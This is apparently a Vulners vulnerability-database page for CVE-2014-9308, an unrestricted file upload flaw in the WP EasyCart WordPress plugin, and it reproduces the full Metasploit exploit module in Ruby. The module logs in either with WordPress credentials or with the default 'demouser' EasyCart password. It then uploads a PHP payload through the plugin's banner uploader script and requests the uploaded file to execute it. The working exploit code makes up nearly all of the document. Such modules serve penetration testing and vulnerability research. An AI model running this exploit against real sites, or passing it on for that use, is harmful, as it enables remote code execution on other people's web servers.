Lucene search
+L

WordPress WP EasyCart Unrestricted File Upload

🗓️ 08 Jan 2015 00:00:00Reported by Kacper Szurek, rastatingType 
metasploit
 metasploit
🔗 www.rapid7.com👁 71 Views

WordPress WP EasyCart Unrestricted File Upload vulnerability allows remote code execution

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress WP EasyCart Unrestricted File Upload',
        'Description' => %q{
          WordPress Shopping Cart (WP EasyCart) Plugin for
          WordPress contains a flaw that allows a remote
          attacker to execute arbitrary PHP code. This
          flaw exists because the
          /inc/amfphp/administration/banneruploaderscript.php
          script does not properly verify or sanitize
          user-uploaded files. By uploading a .php file,
          the remote system will place the file in a
          user-accessible path. Making a direct request to
          the uploaded file will allow the attacker to
          execute the script with the privileges of the web
          server.

          In versions <= 3.0.8 authentication can be done by
          using the WordPress credentials of a user with any
          role. In later versions, a valid EasyCart admin
          password will be required that is in use by any
          admin user. A default installation of EasyCart will
          setup a user called "demouser" with a preset password
          of "demouser".
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kacper Szurek', # Vulnerability disclosure
          'rastating' # Metasploit module
        ],
        'References' => [
          ['CVE', '2014-9308'],
          ['OSVDB', '116806'],
          ['WPVDB', '7745']
        ],
        'DisclosureDate' => '2015-01-08',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['wp-easycart', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']),
        OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']),
        OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']),
        OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false])
      ]
    )
  end

  def post_auth?
    true
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def ec_password
    datastore['EC_PASSWORD']
  end

  def ec_password_is_hash
    datastore['EC_PASSWORD_IS_HASH']
  end

  def use_wordpress_authentication
    username.to_s != '' && password.to_s != ''
  end

  def use_ec_authentication
    ec_password.to_s != ''
  end

  def req_id
    if ec_password_is_hash
      return ec_password
    else
      return Rex::Text.md5(ec_password)
    end
  end

  def generate_mime_message(payload, date_hash, name, include_req_id)
    data = Rex::MIME::Message.new
    data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
    data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id
    data
  end

  def setup
    if !use_wordpress_authentication && !use_ec_authentication
      fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')
    end

    super
  end

  def exploit
    vprint_status("WordPress authentication attack is enabled") if use_wordpress_authentication
    vprint_status("EC authentication attack is enabled") if use_ec_authentication

    if use_wordpress_authentication && use_ec_authentication
      print_status("Both EasyCart and WordPress credentials were supplied, attempting WordPress first...")
    end

    if use_wordpress_authentication
      print_status("Authenticating using #{username}:#{password}...")
      cookie = wordpress_login(username, password)

      if !cookie
        if use_ec_authentication
          print_warning("Failed to authenticate with WordPress, attempting upload with EC password next...")
        else
          fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
        end
      else
        print_good("Authenticated with WordPress")
        store_valid_credential(user: username, private: password, proof: cookie)
      end
    end

    print_status("Preparing payload...")
    payload_name = Rex::Text.rand_text_alpha(10)
    date_hash = Rex::Text.md5(Time.now.to_s)
    uploaded_filename = "#{payload_name}_#{date_hash}.php"
    plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
    uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
    payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
    data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)

    print_status("Uploading payload to #{payload_url}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uploader_url,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'cookie' => cookie
    )

    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    vprint_error("Server responded with status code #{res.code}") if res.code != 200

    print_status("Executing the payload...")
    register_files_for_cleanup(uploaded_filename)
    res = send_request_cgi(
      {
        'uri' => payload_url,
        'method' => 'GET'
      }, 5
    )

    if !res.nil? && res.code == 404
      print_error("Failed to upload the payload")
    else
      print_good("Executed payload")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2015 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 26.5
EPSS0.51617
71